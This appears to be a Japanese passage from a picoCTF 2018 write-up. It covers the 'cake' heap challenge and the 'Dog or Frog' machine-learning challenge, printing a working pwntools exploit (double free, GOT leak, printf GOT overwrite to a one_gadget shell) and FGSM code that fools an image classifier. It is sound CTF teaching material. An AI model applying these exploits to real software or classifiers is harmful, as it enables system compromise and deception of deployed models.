こんな感じでしょうか。他にもう一つ管理されているのがお店の情報で、先程の cake のリストや、待ち人数、売上を管理しているはずです。先程見たように、ケーキのリストは 0x10 = 16 のサイズです。待ち人数の型はwait(関数名はspin)、売上高の型はserveの機能を見ると long であることがわかります。

struct shop {
    long sales;
    long waiting;
    cake *cakes[16];
}

他の処理も読みやすくはないですが、私にとってはアセンブリを読むより遥かに早く読めました。Ghidra最高!!!

次に、最初に色々いじってみて気になった点、double free周りが怪しいので、まずはdouble freeを試してみます。今回、sword -> contacts -> cake の順で解いてきましたが、今回は contacts で得た知識がだいぶ活躍しそうです。contactsのwriteupに書いた内容は省略します。

今回malloc対象なのは cake のみ。cake の構造体は、サイズが 16 (0x10) のため、fastbinの守備範囲のサイズです。ここにメタデータの 0x10 が加わるので、 0x20 のリンクリストが使われるはずです。
また、contactsのときに "直前と同じ領域をfreeしている場合はチェックに引っかかってエラーになるが、間に他の領域のfreeを挟むとdouble freeが成功する" というのを学びました。早速やってみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 36903

def recv_menu():
    r.recvuntil(b'* [C]lose the shop.\n> ')

def make(name, price):
    recv_menu()
    log.info(b'make: ' + name + b', price: ' + price)
    r.sendline('M')
    r.recvuntil(b'Name> ')
    r.sendline(name)
    r.recvuntil(b'Price> ')
    r.sendline(price)
    res = r.recvuntil(b'customers waiting.')
    return res

def wait():
    recv_menu()
    log.info(b'wait')
    r.sendline('W')
    res = r.recvuntil(b'customers waiting.')
    return res

def serve(idx):
    recv_menu()
    log.info(b'serve: ' + idx)
    r.sendline('S')
    r.recvuntil(b'> ')
    r.sendline(idx)
    res = r.recv()
    return res

def inspect(idx):
    recv_menu()
    log.info(b'inspect: ' + idx)
    r.sendline('I')
    r.recvuntil(b'> ')
    r.sendline(idx)
    res = r.recvuntil(b'customers waiting.')
    return res

###############
### prepare ###
###############
target = ELF('./cake')
libc = ELF('./libc.so.6')

r = remote(host, port)

#### double free test 1 ###
make(b'test1', b'10')
serve(b'0')
res = serve(b'0')
print(res)
res = r.recv()
print(res)
r.close()
#### double free test 1 ###

print('---')

#### double free test 2 ###
r = remote(host, port)
make(b'test1', b'10')
make(b'test2', b'20')
serve(b'0')
serve(b'1')
res = serve(b'0')
print(res)
res = inspect(b'0')
print(res)
res = inspect(b'1')
print(res)
r.close()
#### double free test 2 ###

実行結果

[+] Opening connection to 2018shell.picoctf.com on port 36903: Done
[*] b'make: test1, price: 10'
[*] b'serve: 0'
[*] b'serve: 0'
b'The customer looks really happy with test1!\n'
b"*** Error in `/problems/cake_4_0f653e0256b9455e627ae372462f2fc3/cake': double free or corruption (fasttop): 0x0000000001564020 ***\n    451480:\t\x80\xd77FI\x7ftimeout: the monitored command dumped core\n"
[*] Closed connection to 2018shell.picoctf.com port 36903
---
[+] Opening connection to 2018shell.picoctf.com on port 36903: Done
[*] b'make: test1, price: 10'
[*] b'make: test2, price: 20'
[*] b'serve: 0'
[*] b'serve: 1'
[*] b'serve: 0'
b'The customer looks really happy with test1!\n'
[*] b'inspect: 0'
b'test1 is being sold for $8728624\nIn total, you have sold $30 worth of merchandise, and have 1 customers waiting.'
[*] b'inspect: 1'
b'test2 is being sold for $8728592\nIn total, you have sold $30 worth of merchandise, and have 2 customers waiting.'
[*] Closed connection to 2018shell.picoctf.com port 36903

double free test 1 では、double freeが検出されてerror、接続が切られてしまいました。対して、 double free test 2 では serve(0) -> serve(1) -> serve(0) と一つ挟むことで、他の領域のfreeが間に挟まれ、double free に成功しています。

さて、一度売られたケーキも、Inspectで見てみると $0 とか $8728592 で売られているよ!(test1 is being sold for $0) と表示されるので、下記の挙動になっているようです。

[*] cake0 free

  ※この時 inspect(0) をすると、price = 0, name = そのまま になっています。fastbinの中で次のchunkへのリンク(*fw)が allocate 状態だと user 領域の price 部分になるため、price = 0(tail) が入ったと予想できます。

[fastbin]
(head) -> cake0 -> (tail(0))

[*] cake1 free

  ※この時 inspect(1) をすると、 price = 8728592, name = そのまま、なので、上と同様に cake1 の price 部分には cake0 のchunkへのポインタが入ったと考えられます。

[fastbin]
(head) -> cake1 -> cake0 -> (tail(0))

[*] cake0 free

[fastbin]
(head) -> cake0 -> cake1 -> (cake0) -> (cake1) -> ...

↑ double free 後の fastbin の状態

さて、戦略としては contacts と同じように libcのアドレスをリークさせて、なにかしら shell を起動する gadget を送り込む&起動させるのが良さそうです。libcのアドレスリークは contacts のように use after free を使いたいのですが、 make 機能では priceもname も初期化されるようです。なので、今回は double free の脆弱性を使う方法を考えます。

更に、今回使用したい fastbin のサイズは 0x20 決め打ちです。contactsのように、got関数をアドレスをずらして渡す(0x70のチャンクを使う)技は使えなさそうです。

ここで再度、今回扱う構造体たちを確認してみます。

struct cake {
    long price;
    char name[8];
}

struct shop {
    long sales;
    long waiting;
    cake *cakes[16];
}

fastbin の free chunk の構造は下記。

0x08 | Size of previous chunk, if unallocated |
0x08 | Size of chunk, in bytes          |A|0|P|
0x08 | Forward pointer to next chunk in list  |
0x08 | Back pointer to previous chunk in list |
     | Unused space (may be 0 bytes long)     |

allocate chunk の構造もついでに。

0x08 | Size of previous chunk, if unallocated |
0x08 | Size of chunk, in bytes          |A|M|P|
     | User data                              |

ここで、shopはglobalとして定義されていることに注目です。ということは.bss領域にデータがあり、アドレスはASLRのランダマイズ対象外になります。さらに使い所のわからなかったwait機能ですが、これを使ってやると待ち人数(waiting)が増えていくようです。...ということは、この数値はある程度自由に操作できることになります。この領域が free chunk の size に当たるようにしてやると、shop領域が攻撃に利用できそうです!
fastbinのリンクリストにshopへのアドレスをつなげ、その領域をcake"2"として取得し、下記の構造になるように操作してやります。

     | # free chunk    | # shop as free ch | # cake"2" as allocate ch |
0x08 | size of prev ch | sales             | ---                      | 
0x08 | size of chunk   | waiting           | ---                      |
0x08 | *fw             | cakes[0]          | price                    |
0x08 | *bk             | cakes[1]          | name                     |
     |                 | ...               |                          |

shop領域を取得する、すなわちcake"2"を作る前に、fastbin(0x20)のサイズチェックを通過させるために、shopのwaitingが0x20台の数値になるように調整します。

cake"2"を作る際は、got関数のアドレスをnameに入れてやります。すると cakes[1] の最初の領域priceに、入れたgot関数のアドレスが入るので、inspect機能で確認できそうです!

下記に、攻撃の流れとメモリ・fastbin の link list の様子を示します。

malloc対象の領域を A, B, S(shop) と表記し、cakes[]のindex(0~15)と確保する領域をつなげた名前で管理しています。
例:0-A -> cake[0], 領域Aを使用

# double free fastbin 0x20 chunk
[*] make "0-A" # index 0 の cake を作成、使用する領域は A
[*] make "1-B"

[*] serve "0"
[*] serve "1"
[*] serve "0"

# [fastbin free link] は下記のようになっています
# (head) -> A -> B -> A (-> B -> A ->...)

[*] wait until waiting >= 0x20

[*] make "2-A" price = shop_addr
       | # free chunk    | # cake"2" as allocate ch |
  0x08 | size of prev ch | ---                      | 
  0x08 | size of chunk   | ---                      |
  0x08 | *fw             | price = shop_addr        |
  0x08 | *bk             | name                     |

# [fastbin free link]
# (head) -> B -> A -> shop

[*] make "3-B"
[*] make "4-A"

# [fastbin free link]
# (head) -> shop

[*] make "5-S" name = got['puts'] entry
       | # free chunk    | # shop as free ch | # cake"5" as allocate ch |
  0x08 | size of prev ch | sales             | ---                      | 
  0x08 | size of chunk   | waiting           | ---                      |
  0x08 | *fw             | cakes[0]          | price                    |
  0x08 | *bk             | cakes[1]          | name = got['puts'] entry |

[*] inspect "1"

shopのアドレスについては、Hopperに突っ込んだりradare2で見ても良かったのですが、せっかくghidraを立ち上げていたのでghidraで確認してみました。

f:id:kusuwada:20190925152702p:plain

こんな感じで、ghidraの Symbol Tree メニューに出てくる global 変数にカーソルを当てるだけで、アドレス表示してくれちゃいます。んー便利!(2回目)

ここまでがlibc_baseのアドレス取得までの流れです。

次はshellを取ります!!!

と勇んだのはいいですが、全く見当がつきませぬ。この後は出題側の
Rintaroさんのブログ http://rintaro.hateblo.jp/entry/2018/10/14/155209 を全面的に参考にさせていただきました。最初読んだ時は「なるほどわからん」状態だったのですが、コードを見たり挙動を追ったりするうちに、徐々に見えてきました。

ちょっと前に書いたとおり

さて、戦略としては contacts と同じように libcのアドレスをリークさせて、なにかしら shell を起動する gadget を送り込む&起動させるのが良さそうです。

ということで、gadgetを送り込みたいのです。ghidraでdecompileした結果、毎回表示されるmenuや現在のshopの状況はprintfで出力されていることがわかったので、printf関数を got overwrite してあげたい。使用するgadgetは今回もonge_gadget で 探します。

$ one_gadget libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

この4つのどれかを使うことにします。(1つめで刺さりました!ラッキー!)

どうやったら書き換えられるの?ですが、make時の挙動を確認すると、まず name を聞いて格納、その次に price を聞いて格納、とやっているのがわかります。ちょっと読みづらいですが、下記はghidraのdecompile結果(make関数)。name を格納してから price を格納しているのがわかります。

void make(long param_1)

{
  undefined8 *puVar1;
  void *pvVar2;
  undefined8 uVar3;
  uint local_1c;
  
  local_1c = 0;
  do {
    if (0x10 < (int)local_1c) {
      return;
    }
    if (local_1c == 0x10) {
      puts("Ran out of counter space :(");
    }
    else {
      if (*(long *)(param_1 + ((long)(int)local_1c + 2) * 8) == 0) {
        printf("Making the cake");
        spin(100,6);
        putchar(10);
        pvVar2 = malloc(0x10);
        *(void **)(param_1 + ((long)(int)local_1c + 2) * 8) = pvVar2;
        if (*(long *)(param_1 + ((long)(int)local_1c + 2) * 8) != 0) {
          printf("Made cake %d.\nName> ",(ulong)local_1c);
          fgets_eat((char *)(*(long *)(param_1 + ((long)(int)local_1c + 2) * 8) + 8),8);
          printf("Price> ");
          puVar1 = *(undefined8 **)(param_1 + ((long)(int)local_1c + 2) * 8);
          uVar3 = get();
          *puVar1 = uVar3;
          return;
        }
        puts("malloc() returned NULL. Out of Memory\n");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
    }
    local_1c = local_1c + 1;
  } while( true );
}

いま、私達は先程のlibcを取る工程で、shop の cakes[1] を任意に操れそうなことがわかりました。ここが先程の攻撃と同じく、新しく取得する cakename, かつ cakes[1]price を示すようにすれば、新しく取得する cake(cakes[1])nameprice が同じところを指すので、name で入れたアドレスが price で入れたアドレスに 書き換わり、GOT Overwriteが成立しそうです。

先程のlibc_baseを取る流れの最後、5-S の priceは特に何も指定していませんでしたが、ここが free chunk として扱われるときの *fw になっているため、free link につなぎたいアドレスを指定しておくと link をつないでおくことができます。先程の 5-S を make するところから流れを追っていきます。

・・・(略)

[*] make "5-S" name = got['puts'] entry, price = B_addr
       | # free chunk    | # shop as free ch | # cake"5" as allocate ch |
  0x08 | size of prev ch | sales             | ---                      | 
  0x08 | size of chunk   | waiting           | ---                      |
  0x08 | *fw             | cakes[0]          | price = B_addr           |
  0x08 | *bk             | cakes[1]          | name = got['puts'] entry |

# [fastbin free link]
# (head)

[*] inspect "1"  # got['puts'] address is shown.

---

# double free fastbin 0x20 chunk

[*] serve "2"  # 2-A
[*] serve "3"  # 3-B
[*] serve "2"  # 2-A

# [fastbin free link]
# (head) -> A -> B -> A (-> B -> A ->...)

[*] make "6-A",  price = shop_addr

# [fastbin free link]
# (head) -> B -> A -> shop -> B
  * 先程 "5-S" 取得時に、 shopのcakes[0], 
  すなわち free chunk の *fw に当たる領域
  に B_addr を入れておいたため、 shop が free chunk として扱われる時、
  つぎへのリンクがB_addrになっている

[*] make "7-B",  price = shop_addr

# [fastbin free link]
# (head) -> A -> shop -> B -> shop

[*] make "8-A"

# [fastbin free link]
# (head) -> shop -> B -> shop

[*] wait until waiting >= 0x20

[*] make "9-S" price = NULL, name = NULL
       | # free chunk    | # shop as free ch | # cake"9" as allocate ch |
  0x08 | size of prev ch | sales             | ---                      | 
  0x08 | size of chunk   | waiting           | ---                      |
  0x08 | *fw             | cakes[0]          | price = NULL             |
  0x08 | *bk             | cakes[1]          | name = NULL              |

  cake[0], および cake[1] を NULL にすると、ここが空いている事になり、
  次に make したときに 再び cakes[0], cakes[1] に ケーキが入る。

# [fastbin free link]
# (head) -> B -> shop

[*] make "0'-B"

# [fastbin free link]
# (head) -> shop

[*] make "1'-S" price = gadget_addr, name = got['printf']
       | # free chunk    | # shop as free ch | # cake"1'" as allocate ch|
  0x08 | size of prev ch | sales             | ---                      | 
  0x08 | size of chunk   | waiting           | ---                      |
  0x08 | *fw             | cakes[0]          | price = gadget_addr      |
  0x08 | *bk             | cakes[1]          | name = got['printf']     |
  
  ここで、cake"1'"->name は 上図のとおりcakes[1]の先頭アドレスに書かれるが、
  cake"1'"->price の書かれるアドレスも cakes[1]の先頭になります。
  先程確認したとおり name -> price の順に書き込むことで
  printf 関数を gadget で overwrite している。
  次に printf が呼ばれるときに、gadgetが呼ばれ、RCE(Remote Code Execution)
  が発動するはず。

上記の解説がほぼコードの流れになっていますが、一応 exploit が成功したコードを載せておきます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 36903

""" Just for information
from ctypes import *
class s_cake(Structure):
    _fields_ = [('price', c_long),
                ('name', c_char * 8)]

class s_shop(Structure):
    _fields_ = [('sales', c_long),
                ('waiting', c_long),
                ('cakes', s_cake * 16)]
"""

def pad(size, buff, pad_data):
    while len(buff) < size:
        buff += pad_data
    return buff

def recv_menu():
    r.recvuntil(b'* [C]lose the shop.\n> ')

def make(name, price, response = True):
    recv_menu()
    log.info(b'make: ' + name + b', price: ' + price)
    r.sendline('M')
    r.recvuntil(b'Name> ')
    r.sendline(name)
    r.recvuntil(b'Price> ')
    r.sendline(price)
    if response:
        res = r.recvuntil(b'customers waiting.')
        return res
    else:
        return

def wait():
    recv_menu()
    r.sendline('W')
    res = r.recvuntil(b'customers waiting.')
    waitings = int(res.split()[-3])
    return waitings

def serve(idx):
    recv_menu()
    log.info(b'serve: ' + idx)
    r.sendline('S')
    r.recvuntil(b'> ')
    r.sendline(idx)
    res = r.recv()
    return res

def inspect(idx):
    recv_menu()
    log.info(b'inspect: ' + idx)
    r.sendline('I')
    r.recvuntil(b'> ')
    r.sendline(idx)
    res = r.recvuntil(b'customers waiting.')
    name = res.split()[0]
    price = res.split(b'$')[1].split(b'\n')[0]
    return name, price

def wait_for_customers0x20():
    log.info(b'wait for waiting costomers to 0x20')
    waitings = 0
    while(waitings < 0x20):
        waitings = wait()
        print(str(waitings) + ', ', end="")
    print('')
    return

###############
### prepare ###
###############
target = ELF('./cake')
libc = ELF('./libc.so.6')

shop_addr = 0x6030e0
gadget_addr = 0x45216

r = remote(host, port)

#####################
### get libc_base ###
#####################
# double free challenge
make(b'0-A', b'0')
make(b'1-B', b'0')
serve(b'0') # 0-A
serve(b'1') # 1-B
serve(b'0') # 0-A

log.info(b'+++ double free done. +++')
B_addr = int(inspect(b'0')[1])
print('B_addr: ' + hex(B_addr))

make(b'2-A', str(shop_addr).encode())
make(b'3-B', b'0')
make(b'4-A', b'0')

wait_for_customers0x20()

make(p64(target.got[b'puts']), \
     str(B_addr).encode()) # 5-shop
name, price = inspect(b'1')
libc_puts = int(price)
print('+++ libc puts addr: ' + hex(libc_puts))
libc_base = libc_puts - libc.symbols[b'puts']
print('+++ libc base addr: ' + hex(libc_base))

#################
### get shell ###
#################

gadget_payload = libc_base + gadget_addr

serve(b'2') # 2-A
serve(b'3') # 3-B
serve(b'2') # 2-A

log.info(b'+++ double free done. +++')

make(b'6-A', str(shop_addr).encode())
make(b'7-B', str(shop_addr).encode())
make(b'8-A', b'0')

wait_for_customers0x20()

make(p64(0), p64(0)) # 9-S

make(b'10-B', b'0') # 0'-B
make(p64(target.got[b'printf']), \
     (str(gadget_payload)).encode(), \
     response = False)  # 1'-S

r.interactive()

実行結果

$ python solve.py 
[*] '/picoCTF_2018/Binary/cake/cake'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
    RPATH:    b'./'
[*] '/picoCTF_2018/Binary/cake/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 2018shell.picoctf.com on port 36903: Done
[*] b'make: 0-A, price: 0'
[*] b'make: 1-B, price: 0'
[*] b'serve: 0'
[*] b'serve: 1'
[*] b'serve: 0'
[*] b'+++ double free done. +++'
[*] b'inspect: 0'
B_addr: 0x132d030
[*] b'make: 2-A, price: 6303968'
[*] b'make: 3-B, price: 0'
[*] b'make: 4-A, price: 0'
[*] b'wait for waiting costomers to 0x20'
3, 3, 3, 3, 3, 4, 4, 5, 5, 5, 5, 5, 5, 6, 6, 7, 7, 8, 8, 9, 10, 10, 10, 10, 10, 11, 11, 11, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 15, 16, 16, 16, 16, 16, 17, 17, 17, 18, 18, 19, 20, 20, 20, 21, 21, 21, 21, 21, 21, 21, 21, 22, 22, 22, 23, 23, 24, 24, 24, 25, 26, 26, 26, 26, 26, 27, 27, 27, 27, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 31, 31, 31, 32, 
[*] b'make: (0`\x00\x00\x00\x00\x00, price: 20107312'
[*] b'inspect: 1'
+++ libc puts addr: 0x7ff7a4802690
+++ libc base addr: 0x7ff7a4793000
[*] b'serve: 2'
[*] b'serve: 3'
[*] b'serve: 2'
[*] b'+++ double free done. +++'
[*] b'make: 6-A, price: 6303968'
[*] b'make: 7-B, price: 6303968'
[*] b'make: 8-A, price: 0'
[*] b'wait for waiting costomers to 0x20'
31, 32, 
[*] b'make: \x00\x00\x00\x00\x00\x00\x00\x00, price: \x00\x00\x00\x00\x00\x00\x00\x00'
[*] b'make: 10-B, price: 0'
[*] b'make: H0`\x00\x00\x00\x00\x00, price: 140701593338390'
[*] Switching to interactive mode
$ ls
cake
flag.txt
libc.so.6
xinet_startup.sh
$ cat flag.txt
picoCTF{h4v3_y0ur_c4k3_4nd_s311_1t_t00_rteopxlx}

\(T▽T)/ こんなの思いつく人おらんじゃろ…!と改めてまとめてみて見返しても思いましたが、解ける人はいるんですね〜…。凄い。
Pwn問素人が手を出すと、理解するのにwriteupを読んでも3日かかりました…。

今回は waitings の値を 0x20 にし、shop の先頭アドレスを指定して騙して使いましたが、salesのほうが簡単に 0x20 にできるので、指定するアドレスを shop - 0x8 して sales がサイズ部分に来るようにして攻撃する方法もできるようです。この場合は、cakes[1]ではなくてcakes[0]領域をGOT overwrite攻撃に使います。

[General] Dog or Frog (900pt)

Dressing up dogs are kinda the new thing, see if you can get this lovely girl ready for her costume party. Dog Or Frog

Hints

This really is a ML problem, read the hints in the problem for more details..

問題文の末尾がリンクになっているので飛んでみると、こんなページが。

f:id:kusuwada:20190829112606p:plain

I'm going to a Halloween Party soon, and need a costume. Could you use one of those fancy new (clouds blockchains quantum computers) Convolutional Neural Networks and help me out? I'd like a photo of me as a tree frog, and have the CNN recognize me as such, but still have the photo look like me.

どうやらハロウィンの衣装のために何故かCNNを使って手伝えと。CNNはアマガエルと認識するけど、私だってわかるような写真を用意してね。とのこと。tree frogって機械学習と思って読んだから木構造のカエルとか考えちゃったけど、アマガエルのことなのね。かわいい。

General Skillの問題だから、サイトの脆弱性を生んたらという問題ではないみたい。hintにもある通り、ML(Machine Learning)の問題として解くみたい。画像をuploadするフォームが用意されているので、画像が出来たらここからuploadすれば良いかな。

画面左手に機械学習っぽい用語の入ったmenuが。

  • Model
  • Solution Template
  • Breaking the Fourth Wall
  • Source
  • Google's Challenge

それぞれリンクになっており、Modelからはmodel.h5というファイルが。

$ file model.h5 
model.h5: Hierarchical Data Format (version 5) data

Solution Templateからは下記のソース(solution_template.py)が。

from keras.applications.mobilenet import preprocess_input
from keras.models import load_model
from keras.preprocessing.image import img_to_array, array_to_img
from PIL import Image
from imagehash import phash


IMAGE_DIMS = (224, 224)
TREE_FROG_IDX = 31
TREE_FROG_STR = "tree_frog"


# I'm pretty sure I borrowed this function from somewhere, but cannot remember
# the source to cite them properly.
def hash_hamming_distance(h1, h2):
    s1 = str(h1)
    s2 = str(h2)
    return sum(map(lambda x: 0 if x[0] == x[1] else 1, zip(s1, s2)))


def is_similar_img(path1, path2):
    image1 = Image.open(path1)
    image2 = Image.open(path2)

    dist = hash_hamming_distance(phash(image1), phash(image2))
    return dist <= 1


def prepare_image(image, target=IMAGE_DIMS):
    # if the image mode is not RGB, convert it
    if image.mode != "RGB":
        image = image.convert("RGB")

    # resize the input image and preprocess it
    image = image.resize(target)
    image = img_to_array(image)
    image = np.expand_dims(image, axis=0)
    image = preprocess_input(image)
    # return the processed image
    return image


def create_img(img_path, img_res_path, model_path, target_str, target_idx, des_conf=0.95):
    test = Image.open(img_path).resize(IMAGE_DIMS)
    test = prepare_image(test)
    model = load_model(model_path)

    # TODO: YOUR SOLUTION HERE


    test = test.reshape((224,224,3))
    img = array_to_img(test)
    img.save(img_res_path)


if __name__ == "__main__":
    create_img("./trixi.png", "./trixi_frog.png", "./model.h5", TREE_FROG_STR, TREE_FROG_IDX)
    assert is_similar_img("./trixi.png", "./trixi_frog.png")

Breaking the Fourth Wallからは下記のテキスト(notes.txt)が。

Since this is a new type of problem, here are a bunch of notes, as there are
probably ways this can go wrong that are frustrating, yet not productive for
learning.

The goal here is to make an adversarial examples, using the photo of Trixi
(the lovely dog in the photo) as a starting point. The website will classify
it using the Keras pre-trained MobileNet network, for which you can download
a copy. The image needs to do the following:

    - Classify as a Tree Frog, at 95% confidence
    - Be similar to the original image (max 2 bit difference using p hash)

This vulnerability is not specifically for MobileNet, and works against
others as well. MobileNet was chosen as it uses less memory.

Adversarial examples are not limited to being close to a base image, but
this made the most sense for a CTF problem, as a proxy for true
classification of the image.

I want to make it clear that this isn't a stego, web, or "find a photo of 
the author's dog wearing a frog hat" problem. The intended solution is a 
photo that is clearly Trixi, but trick MobileNet into thinking there's
a tree frog in it, rather than a dog. A sample attack image is provided
in the source code, that's recognized as a sealion. It looks squished due
to the preprocessing of the network. It looks nearly identical to the 
preprocessed image without any attack present.

The linked Google article is about their challenge on trying to build 
defenses against this class of attack, and shows where academia is at
in terms of both attacks and defenses.

The solution runs in < 10s on my CPU. 
I can get 99+% confidence, and 0 bit difference.

Good luck!

-bp

sourceにはこんな構成のサーバー用っぽいファイルたちが。

$ ls
requirements.txt    static          test_img
server.py       templates

Google's challenge はこちらのリンクに。

なんだか随分大掛かりな問題になってる気がする…。材料が多い。

さて、notes.txtでは、この問題が何を意図してるかちゃんと伝えてくれてます。画像が絡むとどうしても方針がわからないというか、見当違いのことをしがちなのでありがたい。ステガノグラフィやWeb問、もしくは出題者のワンちゃんがカエルの帽子をかぶってる写真を探す(ソーシャルハック?)とかじゃないよと。
明らかにこのワンちゃんに見える写真をCNNに食わせて、アマガエルと認識させるのがゴール。MLの脆弱性を付くという点でCTF的な問題になっているよ、とのこと。

提供された攻撃サンプルの写真は、MLに食わせる前処理でひしゃげているため、アシカと認識されています。

f:id:kusuwada:20190829112625p:plain

試しにこの画像をuploadした所、こんな結果が表示されました。

Photo category   sea_lion
Photo is of a frog  False
Photo confidence    0.99979633
P hash distance from original dog photo 0
Top Preds   [('n02077923', 'sea_lion', 0.99979633), ('n02113978', 'Mexican_hairless', 7.411073e-05), ('n02444819', 'otter', 5.847877e-05), ('n01695060', 'Komodo_dragon', 1.4224592e-05), ('n02137549', 'mongoose', 8.456897e-06)]

notes.txtを読んだところで、この問題の意図するところが見えてきました。このまま何も考えずに力技で行くなら、ワンちゃんの画像を様々に変形させたりしてサーバーに投げまくり、アマガエル判定が出るまで繰り返すのもありっぽい。が、sample攻撃コードや記事が紹介されているので、ちゃんと読んでやったほうが良さそう。...でもアマガエルっぽいってどんなだ?
※実際10個くらい適当に画像を作って投げましたが、犬種が変わるだけでアマガエルは上位5位にすら入ってきませんでした。

Google Challengeの画報も読んでみましたが、特に具体的な攻撃手法が載っているわけではなかったです。今回の誤認識させる攻撃に関するサマリとそれに関するGoogle Challengeの紹介でした。
ちなみに、こちらのサイトで日本語でより詳しく紹介してくれています。とてもわかり易い。はじめてのAdversarial Example
この記事によると、元画像にノイズ(摂動)を与えて違うクラスに分類してしまう画像を作る場合、この摂動を計算する手法があるとのこと。ふむ、ということは狙ったクラスに分類させる摂動画像を作る手段があるということか。

次にsolution_template.pyを眺めてみます。L48に # TODO: YOUR SOLUTION HERE とコメントが。ここになにがしか処理を入れて、CNNがアマガエル判定しちゃう画像を作るっぽい。notes.txtに書いてあったとおり、条件は下記。

  • 95%(以上?)の信頼度でアマガエル判定させる
  • 元画像とp-hashを使用して2bit以内の差に収める
    • これに関しては、is_similar_img関数で判定してくれています

数式やサンプルコードが載っている記事はいくつか見つけましたが、まずは adversarial example attack tool と言ったワードで検索してヒットした下記の記事で紹介されている CleverHans を使ってみることにしました。

Pythonライブラリ「cleverhans」でAdversarial Examplesの対策をしてみた | MISO
こちらの記事もとてもわかりやすかったです。CleverHansはtensolflowを使用して計算を高速化しているそうで、tensolflowのinstallも必要になります。GPU使ったほうが良いとGithubのREADMEにありましたが、そんな環境はうちにはないのでおとなしくMacBookAirのホストに直に入れました。
今回の攻撃の概要やツールのinstall方法・使用方法が日本語でわかりやすく書かれています。こちらの記事ではサンプルを動かすところまで。

tensorflowのinstallガイド(本家)も間違えにく簡潔な書き方でした。是非見習いたい。

さて、今回やりたいことはちゃんと公式ドキュメントを読みながら進める必要がありそう。

github.com

こちらがCleverHansのリポジトリ。READMEにはそこまで情報がないので、ドキュメントサイトを参照します。

CleverHans documentation

自動生成されたドキュメントだし、決して読みやすいとは言えない…。
menuから、attack module と model module があることがわかります。今回は、騙すための画像を作成したいので、おそらくattackの方にヒントがありそう。

...と、CleverHansでやろうと色々いじってみたのですが、CleverHans、およびTensorFlow, Kerasはすごく開発が盛んな時期なこともあり、ライブラリのバージョンの組み合わせで動いたり動かなかったり、書き方が変わってたりdeprecatedのwarningが大量に出たり。2018年10月当時のCleverHansリポジトリのCommitを引っ張ってくるといい感じに動いたのですが、最新のではちょっと使いこなせませんでした(;▽;)
配布されたソースの中にあったrequirements.txtを使ってライブラリをinstallしてればバージョン固定してあったのでもっとスムーズだったかもしれない...と思ったらtensorflowの指定バージョン(1.10.1)はもう無くなってるっぽい。残念。

ということでCleverHansは使わず、Kerasのみで騙し画像を作ってみます。 他の方のwrite-upを眺めていると、下記の記事からコードを起こすのが良さそうなことが判明。私が検索しても全然ここにたどり着かなかった。どうやって見つけたんだろう。。。

medium.com

目当てのパラメータに徐々に近づけていく手法のようです。プログラムが見やすくて何がしたいかわかりやすい。助かる!この手法は"Fast Gradient Sign Method (FGSM)" というらしい。
上記記事のソースほぼそのまま移植し、パラメータだけちょっと調節してやったのがこちらです。元のsolution_template.pyからは# TODO: YOUR SOLUTION HERE# ENDまでしか変更していません(import除く)。

from keras.applications.mobilenet import preprocess_input
from keras.models import load_model
from keras.preprocessing.image import img_to_array, array_to_img
from PIL import Image
from imagehash import phash

# added imports
import numpy as np
from keras import backend as K

~(中略)~

def create_img(img_path, img_res_path, model_path, target_str, target_idx, des_conf=0.95):
    test = Image.open(img_path).resize(IMAGE_DIMS)
    test = prepare_image(test)
    model = load_model(model_path)

    # TODO: YOUR SOLUTION HERE
    model.summary()
    # Bellow codes are almost copied from
    #   https://medium.com/@ageitgey/machine-learning-is-fun-part-8-how-to-intentionally-trick-neural-networks-b55da32b7196
    model_input_layer = model.layers[0].input
    model_output_layer = model.layers[-1].output
    max_change_above = test + 0.01
    max_change_below = test - 0.01
    learning_rate = 0.01
    cost_function = model_output_layer[0, TREE_FROG_IDX]
    gradient_function = K.gradients(cost_function, model_input_layer)[0]
    grab_cost_and_gradients_from_model = K.function([model_input_layer, K.learning_phase()], [cost_function, gradient_function])
    
    cost = 0.0
    
    while cost < 0.95:
        cost, gradients = grab_cost_and_gradients_from_model([test, 0])
        test += np.sign(gradients) * learning_rate
        test = np.clip(test, max_change_below, max_change_above)
        test = np.clip(test, -1.0, 1.0)
        print("tree frog confidence: " + str(cost * 100))
    # END
    
    test = test.reshape((224,224,3))
    img = array_to_img(test)
    img.save(img_res_path)


if __name__ == "__main__":
    create_img("./trixi.png", "./trixi_frog.png", "./model.h5", TREE_FROG_STR, TREE_FROG_IDX)
    assert is_similar_img("./trixi.png", "./trixi_frog.png")

実行結果
※tensorflow環境下で実行

(venv)$ python solve.py
Using TensorFlow backend.

~(中略)~

_________________________________________________________________
Layer (type)                 Output Shape              Param #   
=================================================================
input_1 (InputLayer)         (None, 224, 224, 3)       0         
_________________________________________________________________
conv1_pad (ZeroPadding2D)    (None, 225, 225, 3)       0         
_________________________________________________________________
conv1 (Conv2D)               (None, 112, 112, 32)      864       

...
~(中略)~

act_softmax (Activation)     (None, 1, 1, 1000)        0         
_________________________________________________________________
reshape_2 (Reshape)          (None, 1000)              0         
=================================================================
Total params: 4,253,864
Trainable params: 4,231,976
Non-trainable params: 21,888
_________________________________________________________________
tree frog confidence: 1.0298706332179108e-09
tree frog confidence: 1.784224808216095
tree frog confidence: 87.81787157058716
tree frog confidence: 98.97469282150269

なんと4回の試行で目当ての数値まで近づけたようです。凄い!trixi_frog.pngが出来ているのでWebのフォームから投げてみます。

f:id:kusuwada:20190829112649p:plain

f:id:kusuwada:20190829112703p:plain

(๑•̀ㅂ•́)و✧

